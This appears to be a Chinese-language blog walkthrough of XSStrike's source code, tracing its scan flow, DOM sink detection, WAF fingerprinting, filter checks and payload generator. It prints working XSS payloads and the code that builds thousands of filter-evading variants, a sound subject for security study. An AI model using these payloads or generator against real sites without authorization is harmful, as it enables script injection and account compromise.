github地址 https://github.com/s0md3v/XSStrike
拿一个xss测试一下
我们直接执行测试下效果
$ python xsstrike.py -u "https://brutelogic.com.br/multi/double-mixed.php?p=1"
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: p
[!] Reflections found: 2
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 6179
------------------------------------------------------------
[+] Payload: <HTML%09onPOiNTerENteR%09=%09confirm()//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n
可以直接从日志就看到流程
先检测 是否有dom 型xss的关键点
然后判断是否有waf
测试的参数 匹配输出的地方有几个
解析判断输出位置 是哪里
然后生成payload
生成了6179个 这也太多了
然后测试出了payload
可以大概知道了流程 那我们跟进代码看一下
seedList = []
if args_seeds:
seedList = list(filter(None, reader(args_seeds)))
# args_seeds 是指定的文件 args_seeds append 入文件的和单个指定的
# reader是封装的读取文件的方法
scan(target, paramData, encoding, headers, delay, timeout, skipDOM, find, skip)
scan
先请求获取响应体
如果不跳过DOM检测 开始进行DOMxss检测highlighted = dom(response)
我们直接看代码里的注释
modes/scan.py
def scan(target, paramData, encoding, headers, delay, timeout, skipDOM, find, skip):
GET, POST = (False, True) if paramData else (True, False)
# If the user hasn't supplied the root url with http(s), we will handle it
if not target.startswith('http'):
try:
response = requester('https://' + target, {},
headers, GET, delay, timeout)
target = 'https://' + target
except:
target = 'http://' + target
logger.debug('Scan target: {}'.format(target))
response = requester(target, {}, headers, GET, delay, timeout).text
if not skipDOM:
logger.run('Checking for DOM vulnerabilities')
# DOMXSS 检测
highlighted = dom(response)
if highlighted:
logger.good('Potentially vulnerable objects found')
logger.red_line(level='good')
for line in highlighted:
logger.no_format(line, level='good')
logger.red_line(level='good')
# 解析获取host
host = urlparse(target).netloc # Extracts host out of the url
logger.debug('Host to scan: {}'.format(host))
# 去掉url 中? 后面的参数 获取到没有产生的url
url = getUrl(target, GET)
# 'https://brutelogic.com.br/multi/double-mixed.php'
logger.debug('Url to scan: {}'.format(url))
# 获取参数 params 或者json里的data 字典的
params = getParams(target, paramData, GET)
# {'p': '1'}
logger.debug_json('Scan parameters:', params)
if find:
params = arjun(url, GET, headers, delay, timeout)
if not params:
logger.error('No parameters to test.')
quit()
# waf 检测
WAF = wafDetector(
url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)
if WAF:
logger.error('WAF detected: %s%s%s' % (green, WAF, end))
else:
logger.good('WAF Status: %sOffline%s' % (green, end))
# 遍历param
for paramName in params.keys():
paramsCopy = copy.deepcopy(params)
logger.info('Testing parameter: %s' % paramName)
# xsschecker = 'v3dm0s' 用于检测回显的 非恶意的
if encoding:
paramsCopy[paramName] = encoding(xsschecker)
else:
paramsCopy[paramName] = xsschecker
response = requester(url, paramsCopy, headers, GET, delay, timeout)
# 发起请求后 html解析
occurences = htmlParser(response, encoding)
# 可以看到获取到了回显的位置和位置的dom 数据
# {29: {'position': 29, 'context': 'script', 'details': {'quote': "'"}}, 32: {'position': 32, 'context': 'attribute', 'details': {'tag': 'a', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'href'}}}
positions = occurences.keys()
logger.debug('Scan occurences: {}'.format(occurences))
if not occurences:
logger.error('No reflection found')
continue
else:
logger.info('Reflections found: %i' % len(occurences))
logger.run('Analysing reflections')
efficiencies = filterChecker(
url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)
logger.debug('Scan efficiencies: {}'.format(efficiencies))
## 根据被过滤的条件 加上位置 生成payload
logger.run('Generating payloads')
vectors = generator(occurences, response.text)
# vectors 里面包含大量的paylodas
total = 0
# 输出有多少payloads
for v in vectors.values():
total += len(v)
if total == 0:
logger.error('No vectors were crafted.')
continue
logger.info('Payloads generated: %i' % total)
progress = 0
for confidence, vects in vectors.items():
for vect in vects:
if core.config.globalVariables['path']:
vect = vect.replace('/', '%2F')
loggerVector = vect
progress += 1
logger.run('Progress: %i/%i\r' % (progress, total))
if not GET:
vect = unquote(vect)
# 用生成的payload进行检验
efficiencies = checker(
url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
# 也是要输出相似度
if not efficiencies:
for i in range(len(occurences)):
efficiencies.append(0)
bestEfficiency = max(efficiencies)
# 如果相似度是100的或者 有 \\ 并相似度大于95的就认为这个payload成功输出
# 或者相似大于90也会输出
if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
logger.red_line()
logger.good('Payload: %s' % loggerVector)
logger.info('Efficiency: %i' % bestEfficiency)
logger.info('Confidence: %i' % confidence)
if not skip:
choice = input(
'%s Would you like to continue scanning? [y/N] ' % que).lower()
if choice != 'y':
quit()
elif bestEfficiency > minEfficiency:
logger.red_line()
logger.good('Payload: %s' % loggerVector)
logger.info('Efficiency: %i' % bestEfficiency)
logger.info('Confidence: %i' % confidence)
logger.no_format('')
dom检测
可以看到正则都是会出现domxss出现的关键函数地方
先匹配所有的 <script></script> 例如: ["\n var a = 'a';\n var b = '1';\n"] 是一个列表的
然后解析script里面的每一行 以var切割后 正则匹配 sources sinks
core/dom.py
def dom(response):
highlighted = []
sources = r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage'''
sinks = r'''eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location'''
# 获取script标签里的内容
scripts = re.findall(r'(?i)(?s)<script[^>]*>(.*?)</script>', response)
# ["\n var a = 'a';\n var b = '1';\n"]
sinkFound, sourceFound = False, False
for script in scripts:
script = script.split('\n')
# ['', " var a = 'a';", " var b = '1';", '']
num = 1
try:
for newLine in script:
line = newLine
parts = line.split('var ')
controlledVariables = set()
allControlledVariables = set()
if len(parts) > 1:
for part in parts:
for controlledVariable in allControlledVariables:
if controlledVariable in part:
controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\$'))
# 匹配 sources
pattern = re.finditer(sources, newLine)
for grp in pattern:
if grp:
source = newLine[grp.start():grp.end()].replace(' ', '')
if source:
if len(parts) > 1:
for part in parts:
if source in part:
controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\$'))
sourceFound = True
line = line.replace(source, yellow + source + end)
for controlledVariable in controlledVariables:
allControlledVariables.add(controlledVariable)
for controlledVariable in allControlledVariables:
matches = list(filter(None, re.findall(r'\b%s\b' % controlledVariable, line)))
if matches:
line = re.sub(r'\b%s\b' % controlledVariable, yellow + controlledVariable + end, line)
# 匹配 sinks
pattern = re.finditer(sinks, newLine)
for grp in pattern:
if grp:
sink = newLine[grp.start():grp.end()].replace(' ', '')
if sink:
line = line.replace(sink, red + sink + end)
sinkFound = True
if line != newLine:
highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
num += 1
except MemoryError:
pass
if sinkFound and sourceFound:
return highlighted
else:
return []
waf 检测
/db/wafSignatures.json waf 指纹识别的文件
举例
"360 Web Application Firewall (360)" : {
"code" : "493",
"page" : "/wzws-waf-cgi/",
"headers" : "X-Powered-By-360wzb"
}
就是直接加个?xss=’<script>alert(“XSS”)</script>‘
然后会触发 waf 判断 code header page 与指纹文件匹配的 加分最后判断
但是这里都是大于0分就算的
core\wafDetector.py
def wafDetector(url, params, headers, GET, delay, timeout):
with open(sys.path[0] + '/db/wafSignatures.json', 'r') as file:
wafSignatures = json.load(file)
# a payload which is noisy enough to provoke the WAF
noise = '<script>alert("XSS")</script>'
params['xss'] = noise
# Opens the noise injected payload
response = requester(url, params, headers, GET, delay, timeout)
page = response.text
code = str(response.status_code)
headers = str(response.headers)
logger.debug('Waf Detector code: {}'.format(code))
logger.debug_json('Waf Detector headers:', response.headers)
if int(code) >= 400:
bestMatch = [0, None]
for wafName, wafSignature in wafSignatures.items():
score = 0
pageSign = wafSignature['page']
codeSign = wafSignature['code']
headersSign = wafSignature['headers']
if pageSign:
if re.search(pageSign, page, re.I):
score += 1
if codeSign:
if re.search(codeSign, code, re.I):
score += 0.5 # increase the overall score by a smaller amount because http codes aren't strong indicators
if headersSign:
if re.search(headersSign, headers, re.I):
score += 1
# if the overall score of the waf is higher than the previous one
if score > bestMatch[0]:
del bestMatch[:] # delete the previous one
bestMatch.extend([score, wafName]) # and add this one
if bestMatch[0] != 0:
return bestMatch[1]
else:
return None
else:
return None
filterChecker 获取哪些没有被过滤
environments 是需要测试是否被过滤的
根据context 是 comment 还是script 还是attribute 中需要不同的payload
然后发送请求测试 payload是否被过滤 匹配计算相似度 打分 一起写到 html解析的字典里
corefilterChecker.py:14
# 注释里面的话需要测试 '-->'
if context == 'comment':
environments.add('-->')
# script 里面的话需要测试 </scRipT/>
elif context == 'script':
environments.add(occurences[i]['details']['quote'])
environments.add('</scRipT/>')
# 属性里面的话需要测试 < >(这两个就是 <> 的html编码 ) 以及闭合单双引号的 quote
elif context == 'attribute':
if occurences[i]['details']['type'] == 'value':
if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
environments.add('<') # so let's add the html entity
environments.add('>') # encoded versions of < and >
if occurences[i]['details']['quote']:
environments.add(occurences[i]['details']['quote'])
corefilterChecker.py
def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):
positions = occurences.keys()
sortedEfficiencies = {}
# adding < > to environments anyway because they can be used in all contexts
environments = set(['<', '>'])
for i in range(len(positions)):
sortedEfficiencies[i] = {}
for i in occurences:
# 新加上个key 分数 是后面payload匹配上的相似度值
occurences[i]['score'] = {}
context = occurences[i]['context']
if context == 'comment':
environments.add('-->')
elif context == 'script':
# {'quote': "'"}
environments.add(occurences[i]['details']['quote']) # "'"
environments.add('</scRipT/>')
elif context == 'attribute':
if occurences[i]['details']['type'] == 'value':
if occurences[i]['details']['name'] == 'srcdoc':
environments.add('<')
environments.add('>')
if occurences[i]['details']['quote']:
# {'tag': 'a', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'href'}
environments.add(occurences[i]['details']['quote']) # '"'
# environments = {"'", '>', '<', '</scRipT/>', '"'}
for environment in environments:
if environment:
# 发送需要的值 单引号 等 是否被过滤
# 会匹配上多个选取相似度最大的
# 并将匹配的分数加上
efficiencies = checker(
url, params, headers, GET, delay, environment, positions, timeout, encoding)
efficiencies.extend([0] * (len(occurences) - len(efficiencies)))
for occurence, efficiency in zip(occurences, efficiencies):
occurences[occurence]['score'][environment] = efficiency
return occurences
occurences hmtl解析的dom结构和过滤的分值
occurences 是由 htmlParser 解析返回的
filterChecker 把 occurences 需要的标签进行检测是否被过滤加入score 值
key是匹配到的字符串的位置
context 是输出在 哪个位置 是script 注释 html里等等
details 是这个位置的详细信息 例如 tag value name quote(‘/‘, ‘\’’, ‘`’, ‘“‘,”‘“)
score 是context的位置xss需要的一个标签 有没有被转义 的相似度值 后面会用这个进行计算判断
{
29: {
'position': 29,
'context': 'script',
'details': {
'quote': "'"
},
'score': {
"'": 100,
'>': 100,
'<': 100,
'</scRipT/>': 100,
'"': 100
}
},
32: {
'position': 32,
'context': 'attribute',
'details': {
'tag': 'a',
'type': 'value',
'quote': '"',
'value': 'v3dm0s',
'name': 'href'
},
'score': {
"'": 100,
'>': 100,
'<': 100,
'</scRipT/>': 89,
'"': 100
}
}
}
checker 判断字符串有没有被过滤转义并返回相似度值
检测的payload 检测字符串是固定的 checkString = 'st4r7s' + payload + '3nd'
如果是单引号就是 "st4r7s'3nd"
core/checker.py
def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):
checkString = 'st4r7s' + payload + '3nd'
if encoding:
checkString = encoding(unquote(checkString))
response = requester(url, replaceValue(
params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower()
reflectedPositions = []
for match in re.finditer('st4r7s', response):
reflectedPositions.append(match.start())
# reflectedPositions = [32, 117] 是匹配的开始位置
#
filledPositions = fillHoles(positions, reflectedPositions)
# Itretating over the reflections
num = 0
efficiencies = []
for position in filledPositions:
allEfficiencies = []
try:
# 从匹配到的开始位置 加上 checkString 长度就是匹配的字符串
reflected = response[reflectedPositions[num]
:reflectedPositions[num]+len(checkString)]
# 计算相似度
efficiency = fuzz.partial_ratio(reflected, checkString.lower())
allEfficiencies.append(efficiency)
except IndexError:
pass
if position:
reflected = response[position:position+len(checkString)]
if encoding:
checkString = encoding(checkString.lower())
efficiency = fuzz.partial_ratio(reflected, checkString)
if reflected[:-2] == ('\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')):
efficiency = 90
allEfficiencies.append(efficiency)
# 取相似度最大的
efficiencies.append(max(allEfficiencies))
else:
efficiencies.append(0)
num += 1
return list(filter(None, efficiencies))
generator 根据位置生成payload需要的字符串或者payload
根据 测试出来的哪些被过滤的 以及位置 生成payload
vectors 是存储payload及优先级的枚举
这个地方是最核心的
core/generator.py
def generator(occurences, response):
# 匹配出响应体里的script 里面的内容
scripts = extractScripts(response)
index = 0
vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
for i in occurences:
# 获取context的类型
context = occurences[i]['context']
# 如果输出在html里 需要直接写一个标签来执行
# 我们应该需要 < > 并且注释后面 //
# 如果没有转义 > 将 > 加入到ends里 此时 ends有 // 和>
# 如果没有转义 < 动态生成payload
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else ''
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, badTag)
for payload in payloads:
vectors[10].add(payload)
# 如果输出在html tag的属性里 需要闭合并执行
# 如果没有转义 > 将 > 加入到ends里 此时 ends有 // 和>
# 如果没有转义 > 并且 有单双引号等 那么动态生成payload
# 并且需要把前面的闭合 payload = quote + '>' + payload
elif context == 'attribute':
found = False
tag = occurences[i]['details']['tag']
Type = occurences[i]['details']['type']
quote = occurences[i]['details']['quote'] or ''
attributeName = occurences[i]['details']['name']
attributeValue = occurences[i]['details']['value']
quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if greatBracketEfficiency == 100 and quoteEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
# 需要闭合前面的属性标签
payload = quote + '>' + payload
found = True
vectors[9].add(payload)
if quoteEfficiency == 100:
for filling in fillings:
for function in functions:
vector = quote + filling + r('autofocus') + \
filling + r('onfocus') + '=' + quote + function
found = True
vectors[8].add(vector)
if quoteEfficiency == 90:
# fillings = ('%09', '%0a', '%0d', '/+/')
for filling in fillings:
for function in functions:
vector = '\\' + quote + filling + r('autofocus') + filling + \
r('onfocus') + '=' + function + filling + '\\' + quote
found = True
vectors[7].add(vector)
# 如果属性有value
if Type == 'value':
if attributeName == 'srcdoc':
if occurences[i]['score']['<']:
if occurences[i]['score']['>']:
del ends[:]
ends.append('%26gt;')
payloads = genGen(
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)
for payload in payloads:
found = True
vectors[9].add(payload.replace('<', '%26lt;'))
# 如果属性名称是 href 并且属性值 是我们回显的
# payload 直接为 javascript: 配置文件的里函数
elif attributeName == 'href' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
# 如果属性名开头是on 说明是个事件 例如onclick
elif attributeName.startswith('on'):
# 根据value值生成闭合的closer
# 闭合后生成payload
closer = jsContexter(attributeValue)
quote = ''
for char in attributeValue.split(xsschecker)[1]:
if char in ['\'', '"', '`']:
quote = char
break
suffix = '//\\'
for filling in jFillings:
for function in functions:
vector = quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
if quoteEfficiency > 83:
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if quote == '':
filling = ''
vector = '\\' + quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
# 如果tag是在 'script', 'iframe', 'embed', 'object' 中
elif tag in ('script', 'iframe', 'embed', 'object'):
# 如果属性名为 src iframe embed的话
if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker:
payloads = ['//15.rs', '\\/\\\\\\/\\15.rs']
for payload in payloads:
vectors[10].add(payload)
# 如果属性名为 object 并且 属性为 data 属性值为 测试的回显字符串
# 直接 javascript: 函数
elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
elif quoteEfficiency == greatBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
# 在这些标签里的需要闭合 tag标签+ script标签
for payload in payloads:
payload = quote + '>' + r('</script/>') + payload
found = True
vectors[11].add(payload)
# 注释 --> 闭合
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
# 如果是 script
elif context == 'script':
if scripts:
try:
script = scripts[index]
except IndexError:
script = scripts[0]
else:
continue
closer = jsContexter(script)
quote = occurences[i]['details']['quote']
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = 100
if quote:
breakerEfficiency = occurences[i]['score'][quote]
ends = ['//']
# 如果相似度是满的那么就将payload加入
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('</script/>')
# 会生成大量的payload
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
# jFillings是 ;
for filling in jFillings:
for function in functions:
# 单双引号闭合 + 标签 括号等的闭合+语法结束+ 函数+ 后缀
# "';[8].find(confirm)//"
vector = quote + closer + filling + function + suffix
vectors[7].add(vector)
elif breakerEfficiency > 83:
prefix = ''
suffix = '//'
if breakerEfficiency != 100:
prefix = '\\'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if quote == '':
filling = ''
vector = prefix + quote + closer + filling + function + suffix
vectors[6].add(vector)
index += 1
return vectors
genGen 排列组合生成payload
core/config.py
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
# "Things" that can be used between js functions and breakers e.g. '};alert()//
jFillings = (';')
# "Things" that can be used before > e.g. <tag attr=value%0dx>
lFillings = ('', '%0dx')
# "Things" to use between event handler and = or between function and =
eFillings = ('%09', '%0a', '%0d', '+')
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
eventHandlers = { # Event handlers and the tags compatible with them
'ontoggle': ['details'],
'onpointerenter': ['d3v', 'details', 'html', 'a'],
'onmouseover': ['a', 'html', 'd3v']
}
functions = ( # JavaScript functions to get a popup
'[8].find(confirm)', 'confirm()',
'(confirm)()', 'co\u006efir\u006d()',
'(prompt)``', 'a=prompt,a()')
这个函数传入的主要是上面的config.py 中的值
core/utils.py:134
def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):
# fillings ('%09', '%0a', '%0d', '/+/'),
# eFillings ('%09', '%0a', '%0d', '+'),
# lFillings ('', '%0dx'),
# eventHandlers {'ontoggle': ['details'], 'onpointerenter': ['d3v', 'details', 'html', 'a'], 'onmouseover': ['a', 'html', 'd3v']},
# tags ('html', 'd3v', 'a', 'details'), ('[8].find(confirm)', 'confirm()', '(confirm)()', 'confirm()', '(prompt)``',
# functions 'a=prompt,a()'),
# ends ['//', '>'],
# badTag None
vectors = []
r = randomUpper # randomUpper randomly converts chars of a string to uppercase
for tag in tags:
if tag == 'd3v' or tag == 'a':
bait = xsschecker
else:
bait = ''
for eventHandler in eventHandlers:
# if the tag is compatible with the event handler
if tag in eventHandlers[eventHandler]:
for function in functions:
for filling in fillings:
for eFilling in eFillings:
for lFilling in lFillings:
for end in ends:
if tag == 'd3v' or tag == 'a':
if '>' in ends:
end = '>' # we can't use // as > with "a" or "d3v" tag
breaker = ''
if badTag:
breaker = '</' + r(badTag) + '>'
# randomUpper 将传入的字符串 大写 小写 随机取 实现生成大小写随机
# ''.join(random.choice((x, y)) for x, y in zip(string.upper(), string.lower()))
# 随机 tag +上随机的大小写的 eventHandler 加上后面的参数 for fuzz出来
vector = breaker + '<' + r(tag) + filling + r(
eventHandler) + eFilling + '=' + eFilling + function + lFilling + end + bait
vectors.append(vector)
return vectors
总体逻辑跟我们看一开始的日志基本一致
- 也会先判断是否有waf 用最简单的payload测试
- 先判断无害字符串回显位置
- 根据这个位置如果xss需要哪些字符串
- 测试这些字符串是否被过滤转义 这里采用的是判断相似度 前缀+测试字符串+后缀
- 并根据没有被过滤得字符串+html的位置来生成payload (大量)
- 发送payload测试
总体架构设计比较清晰 我这里只跟了部分代码 相对可对性比sqlmap这种好很多
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